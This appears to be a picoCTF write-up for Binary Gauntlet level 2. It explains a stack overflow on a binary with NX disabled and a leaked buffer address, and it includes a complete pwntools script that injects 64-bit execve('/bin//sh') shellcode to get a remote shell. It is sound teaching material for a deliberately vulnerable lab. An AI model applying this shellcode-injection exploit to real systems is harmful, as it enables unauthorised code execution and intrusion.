Description
Level 2 of Binary Gauntlet. The program has no stack canary, no PIE, and - crucially - NX is disabled, so the stack is executable. It also prints the address of the destination buffer before reading input, handing you the exact address you need to redirect execution to shellcode.
Setup
Download the binary and check its security properties.
wget <url>/vulnchmod +x vulnchecksec vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Confirm mitigations with checksec
ObservationThe description says NX is disabled and there is no canary. Verify both with checksec before picking a strategy, because each mitigation changes the approach entirely.Run checksec on the binary. The output shows: Partial RELRO, no canary, NX disabled, no PIE. The absence of NX is the key finding: the stack is executable, so you can write raw machine code into the buffer and then redirect the return address to run it.bashchecksec vulnWhat didn't work first
Tried: Running 'file vuln' instead of checksec to check binary protections
The file command reports architecture and ELF type and nothing about NX, stack canaries, RELRO, or PIE. checksec reads the ELF headers and GNU_STACK segment flags and reports all four in one line. file alone cannot tell you whether shellcode injection is viable.
Tried: Assuming NX is enabled by default and jumping straight to a ROP chain approach
Most modern binaries do have NX enabled, so ROP is a reasonable first instinct. Here checksec shows NX disabled, so the stack is executable and shellcode injection is simpler and more direct than a gadget chain. Skip checksec and you build a ROP chain you never needed.
Learn more
NX (No-eXecute) marks the stack as non-executable so the CPU will refuse to run data stored there. When NX is disabled, every byte you write into a stack buffer can be executed as machine code - shellcode injection is the natural exploit path.
Why no canary matters. A stack canary is a random value placed between the local variables and the saved return address. The function checks that value before returning; a corrupted canary triggers an abort. With no canary, you can overwrite the return address freely as long as you know the correct offset.
Why no PIE matters. Position-Independent Executable randomizes the load address of the binary itself each run. With PIE off, binary addresses are fixed - but here you do not even need binary gadgets because the program gives you the stack address directly.
Step 2Note the leaked buffer address
ObservationThe binary prints a hex address via printf("%p") before reading input. That is the runtime stack buffer address, handed over deliberately, and capturing it is what makes aiming the shellcode possible under ASLR.When you run the binary you see a hex address printed via printf("%p\n", dest). That is the runtime address of the destination buffer where your input will be copied. Because ASLR randomizes the stack each run, you could not guess this address - but the program gives it to you. Save it; you will write it into the return address slot.bash./vulnbash# observe the hex address printed before the promptWhat didn't work first
Tried: Hardcoding a stack address observed during a local test run and reusing it for the remote connection
ASLR randomizes the stack base on every execution, so an address recorded from one run is worthless on the next. The program prints the current buffer address precisely because it moves. Parse the printed address from each fresh connection and use that live value.
Tried: Treating the printed value as the return address itself rather than the destination buffer address
The program leaks the address of the input buffer, which is where your shellcode will land. The return address is a different slot further up the stack, 120 bytes from the buffer. Overwrite that slot with the leaked buffer address, not the other way round.
Learn more
Why the program leaks the address. This is an intentional scaffolding hint built into the challenge. In a real exploit scenario you might need an information-leak vulnerability to defeat ASLR; here the challenge author shortcircuits that step so you can focus on the shellcode injection itself.
ASLR vs. stack addresses. Even with the binary loaded at a fixed address (no PIE), Linux ASLR randomizes the stack base each execution. So the buffer address changes every run. Parsing the printed address in your exploit script and using it directly is the correct approach.
Step 3Find the offset to the return address
ObservationThe binary strcpy's up to 999 bytes into a small buffer with no bounds check, which is a classic stack overflow. Next comes finding the exact byte offset to the saved return address.Use pwntools cyclic to generate a De Bruijn pattern, send it to the binary, and let it crash. The value in RIP (or the fault address) identifies exactly where in the pattern the return address sits. The offset for this binary is 120 bytes.pythonpython3 -c "from pwn import *; print(cyclic(200))" | ./vulnbash# note the crash address, then:pythonpython3 -c "from pwn import *; print(cyclic_find(0x<CRASH_VALUE>))"What didn't work first
Tried: Passing the RIP value from dmesg or /var/log/syslog directly to cyclic_find without byte-swapping
The crash address the kernel reports is little-endian, but cyclic_find wants the raw 8-byte value as a Python integer. Copy the hex string and pass it without int(..., 16) and cyclic_find gets a string, raising a TypeError or returning the wrong offset.
Tried: Using a pattern shorter than the buffer and assuming the first crash gives the exact offset
If the pattern is shorter than the distance to the return address, the program faults on a read or write before it ever reaches RIP, so the crash tells you nothing. The pattern has to reach past offset 120, and 200 bytes ensures the return address slot really is overwritten with a unique subsequence.
Learn more
De Bruijn pattern. A cyclic (De Bruijn) sequence has the property that every subsequence of length n appears exactly once. Pwntools generates one with
cyclic(n)and can reverse-map any 4- or 8-byte window back to its offset withcyclic_find(). This eliminates manual binary-search guessing.The overflow. The program copies up to 999 characters into a ~103-byte buffer via
strcpy, so any input longer than the buffer eventually reaches and overwrites the saved return address at offset 120.Step 4Build and send the shellcode exploit
ObservationNX is off, the offset is 120, and the leaked buffer address is in hand, so every precondition for shellcode injection is met. A pwntools script puts 64-bit execve shellcode at the buffer start, pads to the offset, and overwrites the return address with the leaked value.Craft the payload: shellcode first (placed at the start of the buffer), then padding bytes to reach offset 120, then the leaked buffer address as the new return address. When the function returns it will jump directly into your shellcode and execute /bin/sh.pythonpython3 - <<'EOF' from pwn import * p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # 64-bit execve("/bin//sh") shellcode shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" # Parse the buffer address printed by the program line = p.recvline() buf_addr = int(line.strip(), 16) print(f"Buffer at: {hex(buf_addr)}") offset = 120 payload = shellcode payload += b'A' * (offset - len(shellcode)) # pad to return address payload += p64(buf_addr) # overwrite return address p.sendline(payload) p.interactive() EOFExpected output
picoCTF{75043449...}What didn't work first
Tried: Placing the shellcode after the padding instead of at the start of the buffer
Put the padding first and the shellcode after the return address, and the shellcode sits past the saved return address, where the return address write may clobber it or the CPU may treat the region differently. The return address points at the buffer start, so the shellcode has to begin at byte zero of the payload.
Tried: Using a 32-bit execve shellcode on this 64-bit binary
32-bit shellcode invokes execve through int 0x80 with eax, ebx, ecx, and edx. On a 64-bit kernel running a 64-bit ELF, int 0x80 hits the 32-bit syscall table, which uses different numbers and argument registers. The execve number differs between the two ABIs, so the shellcode either calls the wrong syscall or passes arguments in the wrong registers, giving SIGSEGV or ENOSYS instead of a shell.
Learn more
Payload layout in memory (each row is part of the stack buffer):
buf_addr -> | shellcode bytes (24) | <- CPU will execute this | 'A' * 96 (padding) | | buf_addr (8 bytes) | <- overwrites saved return address | | vuln() ret: jumps to buf_addr, runs shellcode -> /bin/shWhy shellcode works here. Because NX is disabled, the CPU treats the bytes in the stack buffer as executable code. The 24-byte shellcode calls
execve("/bin//sh", NULL, NULL)via syscall 59 (0x3b), replacing the current process image with a shell.Why ret2libc is not needed here. ret2libc and ROP chains exist to bypass NX by reusing existing code. Since NX is off, injecting your own shellcode is simpler and does not require finding gadgets or leaking libc addresses. Binary Gauntlet 3 introduces NX and requires ret2libc.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{75043449...}
NX is disabled on this binary, so shellcode injected into the stack buffer executes directly. The program leaks the buffer address, making ASLR irrelevant. Pad 120 bytes, then overwrite the return address with the leaked address.